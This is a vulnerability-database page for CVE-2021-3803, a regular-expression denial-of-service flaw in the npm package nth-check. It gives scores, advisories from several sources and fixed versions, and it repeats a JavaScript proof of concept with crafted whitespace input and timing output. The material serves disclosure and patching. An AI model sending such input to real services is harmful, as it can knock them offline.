Every CVESearch/Get API key

CVE-2021-3803

Inefficient Regular Expression Complexity in fb55/nth-check

7.5 HighFix available

nth-check is vulnerable to Inefficient Regular Expression Complexity

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

2.21%Up 1.6 points since Sep 17, 2021
90%50%10%1%

What each source reports

CVE List Score used7.5

Inefficient Regular Expression Complexity in fb55/nth-check

nth-check is vulnerable to Inefficient Regular Expression Complexity

Record
CVE-2021-3803
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-1333
Updated
2026-11-02
EUVDEUVD-2021-21097.5

nth-check is vulnerable to Inefficient Regular Expression Complexity

Record
EUVD-2021-2109
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-rp65-9cf3-cjxr7.5

Inefficient Regular Expression Complexity in nth-check

There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.

The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.

Proof of Concept

// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '2n' + ' '.repeat(i*10000)+"!";
    try {
        nthCheck.parse(attack_str) 
    }
    catch(err) {
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}

The Output

attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
Record
GHSA-rp65-9cf3-cjxr
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-1333
Updated
2026-11-02
NVD7.5

nth-check is vulnerable to Inefficient Regular Expression Complexity

Record
CVE-2021-3803
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 2.0
5.0 MediumAV:N/AC:L/Au:N/C:N/I:N/A:P
Weakness
CWE-1333
Updated
2026-11-02
OSV7.5

nth-check is vulnerable to Inefficient Regular Expression Complexity

Record
CVE-2021-3803
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVDEBIAN-CVE-2021-38037.5

nth-check is vulnerable to Inefficient Regular Expression Complexity

Record
DEBIAN-CVE-2021-3803
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
Show 6 moreShow less
OSVGHSA-rp65-9cf3-cjxr7.5

Inefficient Regular Expression Complexity in nth-check

There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.

The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.

Proof of Concept

// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '2n' + ' '.repeat(i*10000)+"!";
    try {
        nthCheck.parse(attack_str) 
    }
    catch(err) {
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}

The Output

attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
Record
GHSA-rp65-9cf3-cjxr
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-1333
Updated
2026-11-02
OSVUBUNTU-CVE-2021-38037.5

nth-check is vulnerable to Inefficient Regular Expression Complexity

Record
UBUNTU-CVE-2021-3803
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 3.0
7.5 HighCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVCLSA-2026-1773188146No score

TuxCare security update for diff (3 CVEs)

TuxCare rebuilt diff to address 3 CVEs. Fixed in 1.0.2-tuxcare.1.

Record
CLSA-2026-1773188146
Updated
2026-11-02
OSVCLSA-2026-1775003168No score

TuxCare security update for nth-check (1 CVE)

TuxCare rebuilt nth-check to address 1 CVE. Fixed in 1.0.2-tuxcare.1.

Record
CLSA-2026-1775003168
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2021-3803No score

CVE-2021-3803 in @rootio/nth-check - Patched by Root

Root has patched CVE-2021-3803 in the @rootio/nth-check package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2021-3803
Updated
2026-11-02
OSVUSN-6114-1No score

node-nth-check vulnerability

Yeting Li discovered that nth-check incorrectly handled certain inputs. If a user or an automated system were tricked into opening a specially crafted input file, a remote attacker could possibly use this issue to cause a denial of service.

Record
USN-6114-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
nth-check
npm
before 2.0.1
2.0.1
nth-check
TuxCare:npm
1.0.2-tuxcare.0 up to 1.0.2-tuxcare.1, plus listed versions
1.0.2
1.0.2-tuxcare.1
node-nth-check
Debian:12
before 2.0.1-1
2.0.1-1
node-nth-check
Debian:13
before 2.0.1-1
2.0.1-1
node-nth-check
Debian:14
before 2.0.1-1
2.0.1-1
node-nth-check
Debian:10
before 1.0.1-1+deb10u1, plus listed versions
1.0.1-1
1.0.1-1+deb10u1
@rootio/nth-check
Root:npm
before 1.0.2-root.io.1
1.0.2-root.io.11.0.2-root.io.22.0.0-root.io.1
nth-check
Root:npm
before 1.0.2-aikido.2
1.0.2-aikido.22.0.0-aikido.1
node-nth-check
Ubuntu:18.04:LTS
before 1.0.1-1+deb10u1build0.18.04.1, plus listed versions
1.0.1-1
1.0.1-1+deb10u1build0.18.04.1
node-nth-check
Ubuntu:20.04:LTS
before 1.0.1-1+deb10u1build0.20.04.1, plus listed versions
1.0.1-1
1.0.1-1+deb10u1build0.20.04.1

History

History
RecordedChangedSources
facts
affected
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2021-3803 is a high vulnerability (CVSS 7.5) in Fb55 Fb55/nth-check, published September 17, 2021. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.21%, the 82nd percentile. Fixed in nth-check 2.0.1.

References

Show 4 moreShow less
MoveEnter Open